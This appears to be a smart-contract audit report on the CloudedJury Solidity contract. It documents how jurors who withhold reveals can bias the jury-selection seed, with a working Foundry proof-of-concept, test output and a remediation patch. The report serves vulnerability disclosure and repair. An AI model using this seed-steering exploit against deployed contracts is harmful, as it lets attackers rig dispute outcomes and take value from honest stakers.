                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

Affected files

  • CloudedJury.sol

Validation output

[output truncated: 1143 lines & 64.46875 KB skipped]
Ran 1 test suite in 10.40ms (2.59ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: InvalidId()] test_emptyJuryChallengeGetsUnsubstantiatedReward() (gas: 1709597)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Reveal withholding allows jurors to bias jury selection randomness

High#298780Validity: Unreviewed

Comment:

Withholding a reveal results in slashing and forfeiture of all DAO rewards.

Source locations

Uploaded archive/CloudedJury.sol (2 locations)

Lines 346-376 — _Salt XOR accumulation into market.randomNumber during reveal_

    function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
        if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
        if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
        marketHasRevealedOf_[msg.sender][_marketId] = true;

        bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
        if (_commitHash == 0) revert NoCommitHash();
        if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
        marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;

        Market storage market = markets_[_marketId];
        market.randomNumber   = market.randomNumber ^ _salt;

        market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
        if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;

        uint256 _winningOutcomeId;
        uint256 _winningOutcomeCount;
        uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
        marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
        for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
            if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                _winningOutcomeId    = _marketOutcomeIds[i];
                _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
            }
        }
        market.juryOutcome = _winningOutcomeId;

        emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
    }
⋯ code omitted for brevity ⋯

Lines 378-403 — _selectJury consumes market.randomNumber as sole entropy source_

    function selectJury(uint256 _marketId) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();

        if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
        markets_[_marketId].juryHasSelected = true;

        uint256 _attempt;
        Ids.Set storage marketStakes = marketStakes_[_marketId];
        uint256 _totalStakedTokens   = marketStakes.getLength();
        uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
        while (_attempt < _jurySet) {
            uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
            marketStakes.swap(_attempt, _position);

            uint256 _tokenId        = marketStakes.getId(_attempt);
            address _tokenOwner     = tokenAddr_[_tokenId];
            uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
            if (_tokenOutcomeId != 0) {
                marketJuryStakes_[_marketId].add(_tokenId);
                juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
            }

            _attempt++;
        }
    }

Description

The seed for jury selection is formed by XORing each revealed, caller-supplied _salt into market.randomNumber. A juror who waits until other reveals are visible knows the current accumulator and their own committed salt, and can choose whether to reveal, thereby choosing between the accumulator with or without their contribution. selectJury uses this value as the sole seed for its swap positions, so that choice changes the resulting jury permutation. The commit hash validates a salt when it is revealed, but does not require a committed juror to reveal or provide entropy that remains unpredictable at the reveal decision point. Replacing this conditional, participant-controlled entropy source with unbiased/verifiable randomness and designing the protocol to handle non-reveals without allowing seed selection is required to make jury selection impartial.

Root cause

market.randomNumber is the sole selectJury seed and is an XOR accumulator of optional juror reveals, allowing revealers with knowledge of the current state to conditionally include their committed salt.

Impact

A late revealer or coordinated set of revealers can bias the selected jury toward stakes supporting a preferred outcome or away from honest dissenting stakes. This can skew juryOutcomeCount_, dispute resolution, and jury reward or slashing allocation when the benefit of influencing the draw exceeds the cost of withholding a reveal.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) { return balances[account]; }
    function totalSupply() external view returns (uint256) { return supply; }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    bytes32 internal constant SELECT_JURY_TOPIC = keccak256("SelectJury(uint256,uint256,uint256,address)");

    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal trader = makeAddr("trader");
    address internal honest1 = makeAddr("honest-1");
    address internal honest2 = makeAddr("honest-2");
    address internal honest3 = makeAddr("honest-3");
    address internal honest4 = makeAddr("honest-4");
    address internal attacker = makeAddr("late-revealer");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    struct SelectedJury { bool emitted; uint256 tokenId; uint256 outcomeId; address owner; }

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        manager.updateWhitelisted();
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(trader, 100 ether);
        vm.deal(honest1, 20 ether);
        vm.deal(honest2, 20 ether);
        vm.deal(honest3, 20 ether);
        vm.deal(honest4, 20 ether);
        vm.deal(attacker, 20 ether);

        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
    }

    function _createMarket() internal returns (uint256[] memory outcomeIds, uint256 startAt) {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);
        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);
        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}("Will the harness pass?", "Resolve YES if this Foundry PoC executes successfully.", outcomes, 1, collateral, 1, 10);
        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(1);
    }

    function _mintOne(address user) internal returns (uint256 tokenId) {
        vm.prank(user);
        jury.mint{value: 3 ether}(1);
        uint256[] memory ids = jury.getUserTokenIds(user);
        tokenId = ids[0];
    }

    function _commit(address staker, uint256 marketId, uint256 outcomeId, bytes32 salt) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(staker, marketId, outcomeId, salt));
    }

    function _stakeOne(address staker, uint256 marketId, uint256 tokenId, uint256 outcomeId, bytes32 salt) internal {
        uint256[] memory ids = new uint256[](1);
        ids[0] = tokenId;
        vm.prank(staker);
        jury.stake(marketId, ids, _commit(staker, marketId, outcomeId, salt));
    }

    function _selectionPosition(bytes32 seed) internal pure returns (uint256) {
        return uint256(keccak256(abi.encodePacked(seed, uint256(0)))) % 5;
    }

    function _findSaltThatSelectsAttacker(bytes32 observedSeed, uint256 attackerPosition) internal pure returns (bytes32) {
        for (uint256 i = 1; i < 100_000; i++) {
            bytes32 candidate = bytes32(i);
            if (_selectionPosition(observedSeed ^ candidate) == attackerPosition) return candidate;
        }
        revert("fixture could not find steering salt");
    }

    function _selectAndReadEvent() internal returns (SelectedJury memory selected) {
        vm.recordLogs();
        jury.selectJury(1);
        Vm.Log[] memory logs = vm.getRecordedLogs();
        for (uint256 i = 0; i < logs.length; i++) {
            if (logs[i].emitter == address(jury) && logs[i].topics.length == 4 && logs[i].topics[0] == SELECT_JURY_TOPIC) {
                selected.emitted = true;
                selected.tokenId = uint256(logs[i].topics[2]);
                selected.outcomeId = uint256(logs[i].topics[3]);
                selected.owner = abi.decode(logs[i].data, (address));
                return selected;
            }
        }
    }

    function test_revealWithholdingLetsLateJurorChooseFavorableJurySelection() public {
        (uint256[] memory outcomeIds, uint256 startAt) = _createMarket();
        uint256 yes = outcomeIds[0];
        uint256 no = outcomeIds[1];

        uint256 honestToken1 = _mintOne(honest1);
        uint256 honestToken2 = _mintOne(honest2);
        uint256 honestToken3 = _mintOne(honest3);
        uint256 honestToken4 = _mintOne(honest4);
        uint256 attackerToken = _mintOne(attacker);

        bytes32 salt1 = bytes32(uint256(0x1111));
        bytes32 salt2 = bytes32(uint256(0x2222));
        bytes32 salt3 = bytes32(uint256(0x3333));
        bytes32 salt4 = bytes32(uint256(0x4444));
        bytes32 seedFromHonestReveals = salt1 ^ salt2 ^ salt3 ^ salt4;
        assertLt(_selectionPosition(seedFromHonestReveals), 4, "honest-only seed selects a revealed honest stake");

        bytes32 attackerSalt = _findSaltThatSelectsAttacker(seedFromHonestReveals, 4);
        assertEq(_selectionPosition(seedFromHonestReveals ^ attackerSalt), 4, "attacker salt steers vulnerable seed to attacker stake");

        _stakeOne(honest1, 1, honestToken1, no, salt1);
        _stakeOne(honest2, 1, honestToken2, no, salt2);
        _stakeOne(honest3, 1, honestToken3, no, salt3);
        _stakeOne(honest4, 1, honestToken4, no, salt4);
        _stakeOne(attacker, 1, attackerToken, yes, attackerSalt);

        vm.warp(startAt + 1 days);
        vm.prank(honest1); jury.revealOutcome(1, no, salt1);
        vm.prank(honest2); jury.revealOutcome(1, no, salt2);
        vm.prank(honest3); jury.revealOutcome(1, no, salt3);
        vm.prank(honest4); jury.revealOutcome(1, no, salt4);

        (, , , , , , , bytes32 publicSeedBeforeAttackerDecision, , ) = jury.getMarketStoredInfo(1);
        assertEq(publicSeedBeforeAttackerDecision, seedFromHonestReveals, "late revealer can observe current XOR seed before deciding");

        uint256 snapshot = vm.snapshotState();

        vm.warp(startAt + 2 days);
        SelectedJury memory withoutAttackerReveal = _selectAndReadEvent();
        assertTrue(withoutAttackerReveal.emitted, "withholding branch still selects a revealed honest juror");
        assertEq(withoutAttackerReveal.outcomeId, no, "withholding selects the honest NO side");
        assertTrue(withoutAttackerReveal.owner != attacker, "withholding does not select attacker");

        vm.revertToState(snapshot);

        vm.prank(attacker);
        jury.revealOutcome(1, yes, attackerSalt);
        (, , , , , , , bytes32 publicSeedAfterAttackerReveal, , ) = jury.getMarketStoredInfo(1);
        assertTrue(publicSeedAfterAttackerReveal != publicSeedBeforeAttackerDecision, "attacker reveal changes public selection seed");

        vm.warp(block.timestamp + 1);
        SelectedJury memory withAttackerReveal = _selectAndReadEvent();
        assertTrue(withAttackerReveal.emitted, "revealing branch selects a juror");

        assertTrue(withAttackerReveal.owner != withoutAttackerReveal.owner, "conditional reveal changes selected jury member");
        assertTrue(withAttackerReveal.outcomeId != withoutAttackerReveal.outcomeId, "conditional reveal changes selected jury outcome");
        assertEq(withAttackerReveal.owner, attacker, "revealing selects the late revealer's stake");
        assertEq(withAttackerReveal.outcomeId, yes, "revealing biases selected jury toward attacker's preferred outcome");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1172 lines & 64.2041015625 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_revealWithholdingLetsLateJurorChooseFavorableJurySelection() (gas: 5264340)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.86ms (2.57ms CPU time)

Ran 1 test suite in 11.63ms (4.86ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC demonstrates the core exploit chain on the real Foundry-deployed contracts: five public jurors stake through CloudedJury.stake, four reveal through CloudedJury.revealOutcome, the late juror observes the public XOR accumulator, and two snapshot branches show CloudedJury.selectJury selecting different jurors/outcomes depending solely on whether the late committed salt is revealed. The test asserts selected jury owner and outcome change from honest NO to attacker YES. It does not model mempool ordering or DAO appeal economics; those are not required for the demonstrated seed-selection primitive.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Removes caller-controlled reveal salts from the jury-selection seed and derives the stored selection seed from consensus prevrandao at selection time, domain-separated by market and contract. Revealing or withholding can no longer choose between jury permutations, while existing vote validation and non-reveal slashing remain unchanged.

Patch

diff
diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,647 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
